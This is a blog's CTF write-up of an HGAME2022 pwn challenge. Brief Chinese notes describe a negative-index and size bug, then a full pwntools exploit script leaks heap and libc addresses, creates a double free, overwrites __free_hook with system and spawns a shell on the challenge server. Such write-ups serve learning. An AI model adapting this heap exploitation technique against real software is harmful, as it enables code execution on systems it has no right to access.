思路

  • add 里面没有限制申请堆块的大小，delete 和 view 里面 index 可以是负的
  • 可以先利用 unsorted bin 泄露 libc 和 heap 基址
  • note 通过 mmap 分配，如果申请一个较大的堆块，根据内存排布可以知道新分配的较大的堆块会在 note 的附近
  • 这样就可以在申请较大堆块的时候写入堆地址，和负数下标的漏洞一起可以导致 double free
  • libc 版本为 2.31，之后的利用就是 tcache stashing 那一套

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#coding=utf-8
from pwn import *

#context.log_level='debug'
context.terminal = ['tmux','splitw','-h']

#r = process("pwn1")
r = remote("chuj.top",20000)
f = ELF("./pwn1")
libc = ELF("libc-2.31.so")

def create(size,content):
    r.recvuntil(">> ")
    r.send('1')
    r.sendlineafter("size: ",str(size))
    r.sendafter("content: ",content)

def view(idx):
    r.sendlineafter(">> ",'3')
    r.sendlineafter("index: ",str(idx))

def delete(idx):
    r.sendlineafter(">> ",'2')
    r.sendlineafter("index: ",str(idx))

for i in range(0,11):
    create(0x80,str(i))

for i in range(0,8):
    delete(i)

delete(9)

for i in range(0,7):
    create(0x80,str(i))

create(0x40,'a'*8)
view(7)
r.recvuntil("content: aaaaaaaa")
heapbase = u64(r.recv(6).ljust(8,'\x00'))-0x7a0
log.success("heap base: "+hex(heapbase))

create(0x40,'a'*8)
view(9)
r.recvuntil("content: aaaaaaaa")
lbase = u64(r.recv(6).ljust(8,'\x00'))-0x1ebc60
free_hook = lbase + libc.sym["__free_hook"]
system_addr = lbase+libc.sym["system"]
log.success("libc base: "+hex(lbase))

create(0x30,'to be fastbin')        #fastbin double free  11
create(0x21000,'a'*0x20ff0+p64(heapbase+0x6e0))

for i in range(0,8):
    create(0x30,'a')

for i in range(13,20):
    delete(i)

delete(11)
delete(20)
delete(-512)

for i in range(0,7):        #tcache 先于 fasbin 被分配
    create(0x30,str(i))

create(0x30,p64(free_hook))
create(0x30,'/bin/sh\x00')
create(0x30,'/bin/sh\x00')
#gdb.attach(proc.pidof(r)[0])
create(0x30,p64(system_addr))

delete(20)
r.interactive()

HGAME2022 Pwn wp

https://www.0wl.site/2022/02/18/HGAME2022-Pwn-wp/

作者

0wl

发布于

2022-02-18

更新于

2022-03-13

许可协议

#

喜欢这篇文章？打赏一下作者吧

评论

Follow

标签

MFC1
android2
buu1
cve复现1
gdb1
hgame5
obf1
pwn6
qemu1
re2
riscv1
upx1
windows1
wp6
×